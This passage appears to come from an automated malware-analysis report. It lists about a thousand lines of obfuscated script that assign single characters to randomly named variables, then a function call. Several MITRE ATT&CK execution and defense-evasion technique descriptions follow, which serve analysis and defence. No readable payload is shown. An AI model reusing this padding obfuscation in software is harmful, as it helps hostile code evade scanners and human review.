418	rmfznqact = "R";
419	zrfvdh = "s";
420	cadrnfev = "D";
421	cadrnfev = "x";
422	cadrnfev = "b";
423	cadrnfev = "h";
424	cadrnfev = "P";
425	cadrnfev = "F";
426	cadrnfev = "j";
427	cadrnfev = "9";
428	gofcgpv = "J";
429	gofcgpv = "X";
430	gofcgpv = "B";
431	gofcgpv = "I";
432	gofcgpv = "C";
433	gofcgpv = "k";
434	gofcgpv = "g";
435	gofcgpv = "M";
436	gofcgpv = "l";
437	gofcgpv = "I";
438	gofcgpv = "P";
439	gofcgpv = "Z";
440	gofcgpv = "e";
441	gofcgpv = "u";
442	gofcgpv = "D";
443	gofcgpv = "O";
444	gofcgpv = "Z";
445	gofcgpv = "k";
446	ajyvylcn = "h";
447	ajyvylcn = "c";
448	ajyvylcn = "i";
449	ajyvylcn = "W";
450	ajyvylcn = "J";
451	ajyvylcn = "y";
452	ajyvylcn = "e";
453	ajyvylcn = "z";
454	ajyvylcn = "l";
455	ajyvylcn = "g";
456	ajyvylcn = "T";
457	ajyvylcn = "R";
458	ajyvylcn = "R";
459	ajyvylcn = "t";
460	ajyvylcn = "y";
461	ajyvylcn = "z";
462	ajyvylcn = "k";
463	ajyvylcn = "R";
464	ajyvylcn = "Y";
465	ajyvylcn = "d";
466	ajyvylcn = "U";
467	ajyvylcn = "N";
468	ajyvylcn = "h";
469	ajyvylcn = "b";
470	ajyvylcn = "i";
471	ajyvylcn = "d";
472	ajyvylcn = "J";
473	ajyvylcn = "d";
474	ajyvylcn = "w";
475	ajyvylcn = "l";
476	ajyvylcn = "M";
477	ajyvylcn = "f";
478	mzgzscpd = "x";
479	mzgzscpd = "S";
480	bygineiy = "p";
481	bygineiy = "I";
482	bygineiy = "R";
483	bygineiy = "S";
484	bygineiy = "p";
485	bygineiy = "k";
486	bygineiy = "Y";
487	bygineiy = "p";
488	bygineiy = "0";
489	geqjjurw = "K";
490	geqjjurw = "P";
491	geqjjurw = "H";
492	geqjjurw = "J";
493	geqjjurw = "j";
494	geqjjurw = "N";
495	geqjjurw = "U";
496	geqjjurw = "c";
497	geqjjurw = "J";
498	geqjjurw = "K";
499	geqjjurw = "N";
500	geqjjurw = "J";
501	geqjjurw = "S";
502	geqjjurw = "B";
503	geqjjurw = "F";
504	geqjjurw = "I";
505	geqjjurw = "V";
506	geqjjurw = "t";
507	geqjjurw = "i";
508	geqjjurw = "M";
509	geqjjurw = "l";
510	geqjjurw = "W";
511	geqjjurw = "r";
512	geqjjurw = "e";
513	geqjjurw = "Q";
514	geqjjurw = "R";
515	geqjjurw = "H";
516	geqjjurw = "U";
517	geqjjurw = "o";
518	geqjjurw = "c";
519	geqjjurw = "G";
520	geqjjurw = "C";
521	geqjjurw = "F";
522	geqjjurw = "z";
523	geqjjurw = "Z";
524	geqjjurw = "Y";
525	geqjjurw = "c";
526	geqjjurw = "h";
527	geqjjurw = "a";
528	geqjjurw = "v";
529	geqjjurw = "k";
530	geqjjurw = "z";
531	geqjjurw = "L";
532	geqjjurw = "o";
533	geqjjurw = "e";
534	mznug = "w";
535	mznug = "x";
536	mznug = "r";
537	mznug = "B";
538	mznug = "o";
539	mznug = "E";
540	mznug = "l";
541	mznug = "s";
542	mznug = "F";
543	mznug = "P";
544	mznug = "D";
545	mznug = "p";
546	mznug = "X";
547	mznug = "d";
548	mznug = "T";
549	mznug = "r";
550	mznug = "l";
551	mznug = "H";
552	mznug = "N";
553	mznug = "f";
554	mznug = "w";
555	mznug = "M";
556	mznug = "y";
557	mznug = "w";
558	mznug = "o";
559	mznug = "t";
560	mznug = "d";
561	mznug = "y";
562	mznug = "E";
563	mznug = "A";
564	mznug = "y";
565	mznug = "h";
566	mznug = "U";
567	mznug = "E";
568	mznug = "i";
569	mznug = "M";
570	mznug = "a";
571	mznug = "t";
572	mznug = "_";
573	cuktjrzf = "H";
574	cuktjrzf = "o";
575	cuktjrzf = "j";
576	cuktjrzf = "F";
577	cuktjrzf = "i";
578	cuktjrzf = "T";
579	cuktjrzf = "z";
580	cuktjrzf = "h";
581	cuktjrzf = "D";
582	cuktjrzf = "p";
583	cuktjrzf = "r";
584	cuktjrzf = "t";
585	cuktjrzf = "b";
586	cuktjrzf = "V";
587	cuktjrzf = "s";
588	cuktjrzf = "j";
589	cuktjrzf = "t";
590	cuktjrzf = "Z";
591	cuktjrzf = "C";
592	cadckkyld = "P";
593	cadckkyld = "i";
594	cadckkyld = "z";
595	cadckkyld = "t";
596	cadckkyld = "K";
597	cadckkyld = "T";
598	cadckkyld = "L";
599	cadckkyld = "G";
600	cadckkyld = "u";
601	cadckkyld = "t";
602	cadckkyld = "M";
603	cadckkyld = "Q";
604	cadckkyld = "Z";
605	cadckkyld = "u";
606	cadckkyld = "n";
607	cadckkyld = "O";
608	cadckkyld = "v";
609	cadckkyld = "R";
610	cadckkyld = "u";
611	cadckkyld = "g";
612	cadckkyld = "D";
613	cadckkyld = "j";
614	cadckkyld = "P";
615	cadckkyld = "C";
616	cadckkyld = "c";
617	phrnxvyeu = "X";
618	phrnxvyeu = "g";
619	phrnxvyeu = "o";
620	phrnxvyeu = "h";
621	phrnxvyeu = "u";
622	phrnxvyeu = "f";
623	phrnxvyeu = "o";
624	phrnxvyeu = "F";
625	phrnxvyeu = "L";
626	phrnxvyeu = "n";
627	phrnxvyeu = "U";
628	phrnxvyeu = "h";
629	phrnxvyeu = "o";
630	phrnxvyeu = "H";
631	phrnxvyeu = "C";
632	phrnxvyeu = "t";
633	phrnxvyeu = "M";
634	phrnxvyeu = "z";
635	phrnxvyeu = "g";
636	phrnxvyeu = "j";
637	phrnxvyeu = "q";
638	phrnxvyeu = "a";
639	phrnxvyeu = "q";
640	phrnxvyeu = "u";
641	phrnxvyeu = "h";
642	phrnxvyeu = "N";
643	phrnxvyeu = "k";
644	phrnxvyeu = "h";
645	phrnxvyeu = "C";
646	phrnxvyeu = "C";
647	phrnxvyeu = "w";
648	phrnxvyeu = "J";
649	phrnxvyeu = "U";
650	phrnxvyeu = "z";
651	phrnxvyeu = "G";
652	phrnxvyeu = "L";
653	phrnxvyeu = "l";
654	phrnxvyeu = "C";
655	phrnxvyeu = "j";
656	blrph = "c";
657	blrph = "u";
658	blrph = "O";
659	blrph = "t";
660	blrph = "M";
661	blrph = "v";
662	blrph = "I";
663	blrph = "A";
664	blrph = "k";
665	blrph = "z";
666	blrph = "X";
667	blrph = "G";
668	blrph = "Y";
669	blrph = "U";
670	blrph = "O";
671	blrph = "F";
672	blrph = "M";
673	blrph = "c";
674	blrph = "X";
675	blrph = "D";
676	blrph = "d";
677	blrph = "q";
678	blrph = "X";
679	blrph = "X";
680	blrph = "Z";
681	blrph = "g";
682	blrph = "V";
683	blrph = "O";
684	blrph = "N";
685	blrph = "Z";
686	blrph = "Y";
687	blrph = "F";
688	blrph = "M";
689	blrph = "e";
690	blrph = "b";
691	blrph = "t";
692	blrph = "a";
693	blrph = "p";
694	blrph = "y";
695	blrph = "B";
696	blrph = "n";
697	blrph = "m";
698	fpzunl = "l";
699	fpzunl = "B";
700	fpzunl = "J";
701	fpzunl = "H";
702	fpzunl = "G";
703	fpzunl = "V";
704	fpzunl = "U";
705	fpzunl = "o";
706	fpzunl = "i";
707	fpzunl = "F";
708	fpzunl = "f";
709	fpzunl = "b";
710	fpzunl = "E";
711	fpzunl = "T";
712	fpzunl = "g";
713	fpzunl = "Q";
714	fpzunl = "Z";
715	fpzunl = "A";
716	fpzunl = "R";
717	fpzunl = "z";
718	fpzunl = "g";
719	fpzunl = "Y";
720	fpzunl = "a";
721	fpzunl = "f";
722	fpzunl = "A";
723	fpzunl = "p";
724	fpzunl = "F";
725	fpzunl = "X";
726	fpzunl = "I";
727	fpzunl = "H";
728	fpzunl = "L";
729	fpzunl = "a";
730	fpzunl = "a";
731	fpzunl = "a";
732	fpzunl = "h";
733	fpzunl = "W";
734	fpzunl = "r";
735	fpzunl = "a";
736	fpzunl = "T";
737	fpzunl = "W";
738	fpzunl = "u";
739	fpzunl = "q";
740	fpzunl = "w";
741	fpzunl = "c";
742	fpzunl = "x";
743	jlhkq = "J";
744	jlhkq = "h";
745	jlhkq = "I";
746	jlhkq = "s";
747	jlhkq = "U";
748	jlhkq = "N";
749	jlhkq = "e";
750	jlhkq = "O";
751	jlhkq = "S";
752	jlhkq = "v";
753	jlhkq = "i";
754	jlhkq = "p";
755	jlhkq = "q";
756	jlhkq = "C";
757	jlhkq = "i";
758	jlhkq = "L";
759	jlhkq = "H";
760	jlhkq = "Y";
761	jlhkq = "s";
762	jlhkq = "o";
763	jlhkq = "t";
764	gdfqvzltt = "V";
765	gdfqvzltt = "M";
766	gdfqvzltt = "C";
767	gdfqvzltt = "S";
768	gdfqvzltt = "K";
769	gdfqvzltt = "v";
770	gdfqvzltt = "m";
771	gdfqvzltt = "t";
772	gdfqvzltt = "Y";
773	gdfqvzltt = "z";
774	gdfqvzltt = "j";
775	gdfqvzltt = "i";
776	gdfqvzltt = "H";
777	gdfqvzltt = "o";
778	gdfqvzltt = "F";
779	gdfqvzltt = "i";
780	gdfqvzltt = "O";
781	gdfqvzltt = "V";
782	gdfqvzltt = "\"";
783	lpurbg = "z";
784	lpurbg = " ";
785	adgfuvs = "p";
786	adgfuvs = "p";
787	adgfuvs = "N";
788	adgfuvs = "u";
789	adgfuvs = "a";
790	adgfuvs = "P";
791	adgfuvs = "r";
792	adgfuvs = "4";
793	hgbju = "M";
794	hgbju = "R";
795	hgbju = "j";
796	hgbju = "J";
797	hgbju = "b";
798	hgbju = "K";
799	hgbju = "c";
800	hgbju = "E";
801	hgbju = "H";
802	hgbju = "f";
803	hgbju = "B";
804	hgbju = "u";
805	hgbju = "Z";
806	hgbju = "i";
807	hgbju = "H";
808	hgbju = "p";
809	hgbju = "O";
810	hgbju = "l";
811	hgbju = "f";
812	hgbju = "K";
813	hgbju = "E";
814	hgbju = "U";
815	hgbju = "t";
816	hgbju = "q";
817	ozkij = "C";
818	ozkij = "d";
819	ozkij = "Y";
820	ozkij = "I";
821	ozkij = "p";
822	ozkij = "a";
823	ozkij = "g";
824	ozkij = "v";
825	ozkij = "F";
826	ozkij = "U";
827	ozkij = "M";
828	ozkij = "H";
829	ozkij = "W";
830	ozkij = "x";
831	ozkij = "q";
832	ozkij = "w";
833	ozkij = "B";
834	ozkij = "M";
835	ozkij = "U";
836	ozkij = "V";
837	ozkij = "B";
838	ozkij = "s";
839	ozkij = "O";
840	ozkij = "n";
841	ozkij = "s";
842	ozkij = "O";
843	ozkij = "\\";
844	kwojesv = "o";
845	kwojesv = "z";
846	kwojesv = "p";
847	kwojesv = "v";
848	kwojesv = "e";
849	kwojesv = "c";
850	kwojesv = "C";
851	kwojesv = "r";
852	kwojesv = "S";
853	kwojesv = "j";
854	kwojesv = "g";
855	kwojesv = "c";
856	kwojesv = "D";
857	kwojesv = "J";
858	kwojesv = "S";
859	kwojesv = "S";
860	kwojesv = "w";
861	kwojesv = "S";
862	kwojesv = "U";
863	kwojesv = "D";
864	kwojesv = "b";
865	kwojesv = "V";
866	kwojesv = "L";
867	kwojesv = "C";
868	kwojesv = "M";
869	kwojesv = "q";
870	kwojesv = "G";
871	kwojesv = "L";
872	kwojesv = "q";
873	kwojesv = "s";
874	kwojesv = "U";
875	kwojesv = "p";
876	kwojesv = "M";
877	kwojesv = "L";
878	kwojesv = "g";
879	kwojesv = "L";
880	kwojesv = "B";
881	kwojesv = "A";
882	kwojesv = "u";
883	kwojesv = "y";
884	kwojesv = "j";
885	kwojesv = "s";
886	kwojesv = "N";
887	kwojesv = "j";
888	kwojesv = "g";
889	bvnbsls = "e";
890	bvnbsls = "p";
891	bvnbsls = "F";
892	bvnbsls = "m";
893	bvnbsls = "I";
894	bvnbsls = "Y";
895	bvnbsls = "t";
896	bvnbsls = "n";
897	bvnbsls = "e";
898	bvnbsls = "R";
899	bvnbsls = "E";
900	bvnbsls = "Z";
901	bvnbsls = "i";
902	bvnbsls = "m";
903	bvnbsls = "I";
904	bvnbsls = "L";
905	bvnbsls = "J";
906	bvnbsls = "w";
907	bvnbsls = "R";
908	bvnbsls = "d";
909	bvnbsls = "&";
910	asprfndh = "H";
911	asprfndh = "A";
912	asprfndh = "h";
913	asprfndh = "B";
914	asprfndh = "h";
915	qrjeoqmc = "o";
916	qrjeoqmc = "G";
917	qrjeoqmc = "t";
918	qrjeoqmc = "k";
919	qrjeoqmc = "V";
920	qrjeoqmc = "l";
921	qrjeoqmc = "v";
922	qrjeoqmc = "f";
923	qrjeoqmc = "P";
924	qrjeoqmc = "l";
925	qrjeoqmc = "j";
926	qrjeoqmc = "j";
927	qrjeoqmc = "T";
928	qrjeoqmc = "d";
929	qrjeoqmc = "y";
930	qrjeoqmc = "L";
931	qrjeoqmc = "a";
932	qrjeoqmc = "L";
933	qrjeoqmc = "c";
934	qrjeoqmc = "J";
935	qrjeoqmc = "6";
936	gljciq = "r";
937	gljciq = "e";
938	gljciq = "n";
939	gljciq = "J";
940	gljciq = "f";
941	gljciq = "T";
942	gljciq = "w";
943	gljciq = "z";
944	gljciq = "G";
945	gljciq = "J";
946	gljciq = "C";
947	gljciq = "j";
948	gljciq = "j";
949	gljciq = "h";
950	gljciq = "N";
951	gljciq = "d";
952	gljciq = "X";
953	gljciq = "g";
954	gljciq = "O";
955	gljciq = "z";
956	gljciq = "e";
957	gljciq = "c";
958	gljciq = "N";
959	gljciq = "y";
960	gljciq = "B";
961	gljciq = "z";
962	gljciq = "r";
963	gljciq = "X";
964	gljciq = "W";
965	gljciq = "D";
966	gljciq = "g";
967	gljciq = "8";
968	gsuujibd = "e";
969	gsuujibd = "A";
970	gsuujibd = "k";
971	gsuujibd = "J";
972	gsuujibd = "h";
973	gsuujibd = "N";
974	gsuujibd = "Y";
975	gsuujibd = "f";
976	gsuujibd = "L";
977	gsuujibd = "h";
978	gsuujibd = "x";
979	gsuujibd = "U";
980	gsuujibd = "q";
981	gsuujibd = "E";
982	gsuujibd = "T";
983	gsuujibd = "n";
984	gsuujibd = "q";
985	gsuujibd = "f";
986	gsuujibd = "L";
987	gsuujibd = "H";
988	gsuujibd = "J";
989	gsuujibd = "y";
990	gsuujibd = "K";
991	gsuujibd = "a";
992	gsuujibd = "E";
993	gsuujibd = "n";
994	gsuujibd = "p";
995	gsuujibd = "b";
996	gsuujibd = "B";
997	gsuujibd = "J";
998	gsuujibd = "r";
999	gsuujibd = "h";
1000	gsuujibd = "K";
1001	gsuujibd = "O";
1002	gsuujibd = "e";
1003	gsuujibd = "C";
1004	gsuujibd = "K";
1005	gsuujibd = "g";
1006	gsuujibd = "V";
1007	gsuujibd = "V";
1008	gsuujibd = "J";
1009	gsuujibd = "O";
1010	qkwdwpj = "W";
1011	qkwdwpj = "f";
1012	qkwdwpj = "f";
1013	qkwdwpj = "C";
1014	qkwdwpj = "R";
1015	qkwdwpj = "S";
1016	qkwdwpj = "A";
1017	qkwdwpj = "H";
1018	qkwdwpj = "Z";
1019	qkwdwpj = "k";
1020	qkwdwpj = "U";
1021	qkwdwpj = "p";
1022	qkwdwpj = "D";
1023	qkwdwpj = "J";
1024	qkwdwpj = "W";
1025	qkwdwpj = "g";
1026	qkwdwpj = "P";
1027	qkwdwpj = "m";
1028	qkwdwpj = "Y";
1029	qkwdwpj = "u";
1030	qkwdwpj = "u";
1031	qkwdwpj = "Q";
1032	qkwdwpj = "V";
1033	qkwdwpj = "e";
1034	qkwdwpj = "C";
1035	qkwdwpj = "p";
1036	qkwdwpj = "D";
1037	qkwdwpj = "q";
1038	qkwdwpj = "m";
1039	qkwdwpj = "O";
1040	qkwdwpj = "y";
1041	qkwdwpj = "H";
1042	qkwdwpj = "7";
1043	anmvwub = "q";
1044	anmvwub = "v";
1045	anmvwub = "G";
1046	anmvwub = "T";
1047	anmvwub = "c";
1048	anmvwub = "c";
1049	anmvwub = "l";
1050	anmvwub = "G";
1051	anmvwub = "f";
1052	anmvwub = "O";
1053	anmvwub = "t";
1054	anmvwub = "b";
1055	anmvwub = "K";
1056	anmvwub = "s";
1057	anmvwub = "Y";
1058	anmvwub = "A";
1059	anmvwub = "Z";
1060	anmvwub = "Q";
1061	anmvwub = "S";
1062	anmvwub = "n";
1063	anmvwub = "a";
1064	anmvwub = "s";
1065	anmvwub = "e";
1066	anmvwub = "v";
1067	anmvwub = "k";
1068	anmvwub = "K";
1069	anmvwub = "E";
1070	anmvwub = "u";
1071	anmvwub = "2";
1072	ehjwh = "C";
1073	ehjwh = "m";
1074	ehjwh = "l";
1075	ehjwh = "t";
1076	ehjwh = "P";
1077	ehjwh = "E";
1078	ehjwh = "N";
1079	ehjwh = "q";
1080	ehjwh = "t";
1081	ehjwh = "f";
1082	ehjwh = "H";
1083	ehjwh = "P";
1084	ehjwh = "n";
1085	ehjwh = "H";
1086	ehjwh = "N";
1087	ehjwh = "Y";
1088	ehjwh = "X";
1089	ehjwh = "n";
1090	ehjwh = "y";
1091	ehjwh = "V";
1092	ehjwh = "F";
1093	ehjwh = "U";
1094	ehjwh = "Y";
1095	ehjwh = "K";
1096	ehjwh = "d";
1097	ehjwh = "c";
1098	ehjwh = "x";
1099	ehjwh = "v";
1100	ehjwh = "B";
1101	ehjwh = "T";
1102	ehjwh = "C";
1103	ehjwh = "V";
1104	ehjwh = "j";
1105	ehjwh = "u";
1106	ehjwh = "I";
1107	pizhvan = "A";
1108	pizhvan = "a";
1109	pizhvan = "w";
1110	pizhvan = "T";
1111	pizhvan = "l";
1112	pizhvan = "r";
1113	pizhvan = "k";
1114	pizhvan = "G";
1115	pizhvan = "v";
1116	pizhvan = "R";
1117	pizhvan = "K";
1118	pizhvan = "k";
1119	pizhvan = "u";
1120	krggjnlze = "x";
1121	krggjnlze = "e";
1122	krggjnlze = "x";
1123	krggjnlze = "N";
1124	krggjnlze = "R";
1125	krggjnlze = "I";
1126	krggjnlze = "E";
1127	krggjnlze = "O";
1128	krggjnlze = "j";
1129	krggjnlze = "U";
1130	krggjnlze = "T";
1131	krggjnlze = "R";
1132	krggjnlze = "U";
1133	icugxll = "p";
1134	icugxll = "K";
1135	icugxll = "L";
1136	icugxll = "g";
1137	icugxll = "u";
1138	icugxll = "g";
1139	icugxll = "M";
1140	icugxll = "V";
1141	icugxll = "O";
1142	icugxll = "C";
1143	icugxll = "q";
1144	icugxll = "O";
1145	icugxll = "j";
1146	icugxll = "R";
1147	icugxll = "r";
1148	icugxll = "E";
1149	vkwcnq = "C";
1150	vkwcnq = "W";
1151	vkwcnq = "B";
1152	vkwcnq = "z";
1153	vkwcnq = "q";
1154	vkwcnq = "c";
1155	vkwcnq = "A";
1156	vkwcnq = "x";
1157	vkwcnq = "w";
1158	vkwcnq = "y";
1159	vkwcnq = "I";
1160	vkwcnq = "F";
1161	hhurvkj = "B";
1162	hhurvkj = "H";
1163	hhurvkj = "B";
1164	hhurvkj = "m";
1165	hhurvkj = "W";
1166	hhurvkj = "U";
1167	hhurvkj = "p";
1168	hhurvkj = "r";
1169	hhurvkj = "b";
1170	hhurvkj = "P";
1171	hhurvkj = "f";
1172	hhurvkj = "e";
1173	hhurvkj = "A";
1174	hhurvkj = "I";
1175	hhurvkj = "A";
1176	hhurvkj = "h";
1177	hhurvkj = "A";
1178	hhurvkj = "d";
1179	hhurvkj = "k";
1180	hhurvkj = "o";
1181	hhurvkj = "h";
1182	hhurvkj = "c";
1183	hhurvkj = "H";
1184	hhurvkj = "E";
1185	hhurvkj = "L";
1186	hhurvkj = "w";
1187	hhurvkj = "@";
1188	eibekm = "x";
1189	eibekm = "Z";
1190	eibekm = "s";
1191	eibekm = "V";
1192	eibekm = "c";
1193	eibekm = "P";
1194	eibekm = "x";
1195	eibekm = "m";
1196	eibekm = "d";
1197	eibekm = "f";
1198	eibekm = "N";
1199	eibekm = "R";
1200	eibekm = "e";
1201	eibekm = "m";
1202	eibekm = "t";
1203	eibekm = "u";
1204	eibekm = "r";
1205	eibekm = "p";
1206	sprpvw = "o";
1207	sprpvw = "%";
1208	nboeqozt = "P";
1209	nboeqozt = "k";
1210	nboeqozt = "M";
1211	nboeqozt = "x";
1212	nboeqozt = "c";
1213	nboeqozt = "H";
1214	nboeqozt = "X";
1215	nboeqozt = "L";
1216	nboeqozt = "B";
1217	nboeqozt = "m";
1218	nboeqozt = "e";
1219	nboeqozt = "W";
1220	pigdl = "J";
1221	pigdl = "r";
1222	pigdl = "d";
1223	pigdl = "t";
1224	pigdl = "t";
1225	pigdl = "g";
1226	pigdl = "J";
1227	pigdl = "v";
1228	pigdl = "m";
1229	pigdl = "a";
1230	pigdl = "a";
1231	pigdl = "T";
1232	pigdl = "V";
1233	pigdl = "u";
1234	pigdl = "n";
1235	pigdl = "f";
1236	pigdl = "c";
1237	pigdl = "A";
1238	pigdl = "F";
1239	pigdl = "P";
1240	pigdl = "V";
1241	pigdl = "A";
1242	pigdl = "z";
1243	pigdl = "z";
1244	pigdl = "w";
1245	pigdl = "k";
1246	pigdl = "F";
1247	pigdl = "m";
1248	pigdl = "Y";
1249	pigdl = "P";
1250	pigdl = "Z";
1251	pigdl = "e";
1252	pigdl = "p";
1253	pigdl = "5";
1254	siijmzz = "T";
1255	siijmzz = "j";
1256	siijmzz = "n";
1257	siijmzz = "k";
1258	siijmzz = "c";
1259	siijmzz = "g";
1260	siijmzz = "X";
1261	siijmzz = "D";
1262	siijmzz = "U";
1263	siijmzz = "h";
1264	siijmzz = "H";
1265	siijmzz = "I";
1266	siijmzz = "T";
1267	siijmzz = "D";
1268	siijmzz = "h";
1269	siijmzz = "A";
1270	siijmzz = "c";
1271	siijmzz = "J";
1272	siijmzz = "g";
1273	siijmzz = "C";
1274	siijmzz = "x";
1275	siijmzz = "f";
1276	siijmzz = "o";
1277	siijmzz = "c";
1278	siijmzz = "d";
1279	siijmzz = "i";
1280	cuffvl = "P";
1281	cuffvl = "B";
1282	cuffvl = "s";
1283	cuffvl = "J";
1284	cuffvl = "Z";
1285	cuffvl = "O";
1286	cuffvl = "B";
1287	cuffvl = "c";
1288	cuffvl = "D";
1289	cuffvl = "O";
1290	cuffvl = "A";
1291	cuffvl = "V";
1292	cuffvl = "m";
1293	cuffvl = "e";
1294	cuffvl = "P";
1295	cuffvl = "g";
1296	cuffvl = "z";
1297	cuffvl = "O";
1298	cuffvl = "p";
1299	cuffvl = "u";
1300	cuffvl = "I";
1301	cuffvl = "q";
1302	cuffvl = "D";
1303	cuffvl = "z";
1304	cuffvl = "Z";
1305	cuffvl = "o";
1306	cuffvl = "L";
1307	cuffvl = "D";
1308	cuffvl = "C";
1309	cuffvl = "t";
1310	cuffvl = "a";
1311	cuffvl = "h";
1312	cuffvl = "O";
1313	cuffvl = "I";
1314	cuffvl = "Y";
1315	cuffvl = "Q";
1316	cuffvl = "k";
1317	cuffvl = "x";
1318	cuffvl = "s";
1319	cuffvl = "y";
1320	cuffvl = "J";
1321	cuffvl = "L";
1322	cuffvl = "/";
1323	isauo = "f";
1324	isauo = "A";
1325	isauo = "N";
1326	isauo = "u";
1327	isauo = "s";
1328	isauo = "i";
1329	isauo = "m";
1330	isauo = "c";
1331	isauo = "a";
1332	isauo = "m";
1333	isauo = "h";
1334	isauo = "U";
1335	isauo = "g";
1336	isauo = "K";
1337	isauo = "m";
1338	isauo = "E";
1339	isauo = "K";
1340	lnisrbxog = "H";
1341	lnisrbxog = "q";
1342	lnisrbxog = "x";
1343	lnisrbxog = "O";
1344	lnisrbxog = "V";
1345	lnisrbxog = "v";
1346	lnisrbxog = "E";
1347	lnisrbxog = "g";
1348	lnisrbxog = "r";
1349	lnisrbxog = "V";
1350	lnisrbxog = "T";
1351	lnisrbxog = "H";
1352	lnisrbxog = "l";
1353	lnisrbxog = "y";
1354	lnisrbxog = "T";
1355	lnisrbxog = "T";
1356	lnisrbxog = "l";
1357	lnisrbxog = "m";
1358	lnisrbxog = "l";
1359	lnisrbxog = "k";
1360	lnisrbxog = "W";
1361	lnisrbxog = "l";
1362	klgnlgj = "v";
1363	klgnlgj = "u";
1364	klgnlgj = "x";
1365	klgnlgj = "p";
1366	klgnlgj = "T";
1367	klgnlgj = "O";
1368	klgnlgj = "f";
1369	klgnlgj = "e";
1370	klgnlgj = "A";
1371	klgnlgj = "A";
1372	klgnlgj = "d";
1373	klgnlgj = "Z";
1374	klgnlgj = "d";
1375	klgnlgj = "m";
1376	klgnlgj = "G";
1377	klgnlgj = "i";
1378	klgnlgj = "Y";
1379	klgnlgj = "G";
1380	klgnlgj = "v";
1381	klgnlgj = "o";
1382	klgnlgj = "c";
1383	klgnlgj = "K";
1384	klgnlgj = "y";
1385	klgnlgj = "3";
1386	vtmptq = "U";
1387	vtmptq = "T";
1388	vtmptq = "k";
1389	vtmptq = "u";
1390	vtmptq = "r";
1391	vtmptq = "z";
1392	vtmptq = "S";
1393	vtmptq = "M";
1394	vtmptq = "g";
1395	vtmptq = "F";
1396	vtmptq = "u";
1397	vtmptq = "m";
1398	vtmptq = "U";
1399	vtmptq = "I";
1400	vtmptq = "D";
1401	vtmptq = "B";
1402	vtmptq = "c";
1403	vtmptq = "W";
1404	vtmptq = "v";
1405	vtmptq = "E";
1406	vtmptq = "O";
1407	vtmptq = "S";
1408	vtmptq = "m";
1409	vtmptq = "K";
1410	vtmptq = "s";
1411	vtmptq = "w";
1412	vtmptq = "C";
1413	vtmptq = "U";
1414	vtmptq = "c";
1415	vtmptq = "p";
1416	vtmptq = "w";
1417	vtmptq = "n";
1418	khlvbcsf = "m";
1419	khlvbcsf = "T";
1420	khlvbcsf = "Y";
1421	khlvbcsf = "K";
1422	khlvbcsf = "a";
1423	khlvbcsf = "R";
1424	khlvbcsf = "S";
1425	khlvbcsf = "W";
1426	khlvbcsf = "r";
1427	khlvbcsf = "T";
1428	khlvbcsf = "r";
1429	khlvbcsf = "w";
1430	khlvbcsf = "t";
1431	khlvbcsf = "J";
1432	khlvbcsf = "L";
1433	khlvbcsf = "C";
1434	khlvbcsf = "C";
1435	khlvbcsf = "e";
1436	khlvbcsf = "Y";
1437	khlvbcsf = "u";
1438	khlvbcsf = "S";
1439	khlvbcsf = "I";
1440	khlvbcsf = "N";
1441	khlvbcsf = "H";
1442	khlvbcsf = "A";
1443	khlvbcsf = "O";
1444	khlvbcsf = "G";
1445	khlvbcsf = "L";
1446	khlvbcsf = "L";
1447	khlvbcsf = "E";
1448	khlvbcsf = "X";
1449	khlvbcsf = "s";
1450	khlvbcsf = "w";
1451	khlvbcsf = "Q";
1452	khlvbcsf = "q";
1453	khlvbcsf = "a";
1454	khlvbcsf = "O";
1455	khlvbcsf = "b";
1456	khlvbcsf = "Q";
1457	khlvbcsf = "h";
1458	khlvbcsf = "s";
1459	khlvbcsf = "E";
1460	khlvbcsf = "I";
1461	khlvbcsf = "w";
1462	khlvbcsf = ":";
1463	cvwym ( );	cvwym() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

